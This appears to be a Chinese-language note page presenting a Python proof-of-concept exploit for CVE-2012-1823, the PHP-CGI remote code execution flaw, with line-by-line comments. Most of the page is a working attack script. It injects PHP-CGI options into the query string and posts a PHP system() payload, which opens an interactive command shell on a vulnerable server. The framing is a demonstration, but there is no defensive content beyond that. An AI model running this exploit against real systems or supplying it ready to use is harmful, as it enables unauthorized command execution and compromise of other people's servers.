[关闭]
@ty4z2008 2015-07-31T00:43:42.000000Z 字数 858 阅读 2009

CVE-2012-1823


这个PoC演示了CVE-2012-1823 – PHP-CGI的远程代码执行漏洞的利用,下面这个PoC的代码是通过一个简单的循环来获取PoC使用者频繁输入的内容,并且修改HttP头。Post提交请求。这个代码的原理也可以用于其他的示例。因为这段代码演示了如何通过Python创建自定义的HTTP头并且发起请求:

  1. #!/usr/bin/python
  2. import sys, urllib2 #导入需要的模块
  3. if len(sys.argv) != 2: # 检查输入的格式是否正确 "<script> <URL>"
  4. print "Usage: "+sys.argv[0]+" <URL>"
  5. sys.exit(0)
  6. URL=sys.argv[1] # 输出测试的url链接 "[+] Attempting CVE-2012-1823 - PHP-CGI RCE"
  7. while True: # 循环开始时先输出 "~$ " 然后通过"raw_input"获取要执行的命令
  8. command=raw_input("~$ ")
  9. Host = URL.split('/')[2] # 从URL解析主机名: 'http://<host>/' 并且赋值给Host <host>
  10. headers = { # 定义响应头部
  11. 'Host': Host,
  12. 'User-Agent': 'Mozilla',
  13. 'Connection': 'keep-alive'}
  14. data = "<?php system('"+command+"');die(); ?>" # PHP运行的服务器
  15. req = urllib2.Request(URL+"?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input", data, headers)
  16. try: # 使用Try/Except处理响应信息
  17. response = urllib2.urlopen(req) # 发起请求
  18. for line in response.readlines():
  19. print line.strip()
  20. except Exception as e: print e

结果演示

php_cgi

添加新批注
在作者公开此批注前,只有你和作者可见。
回复批注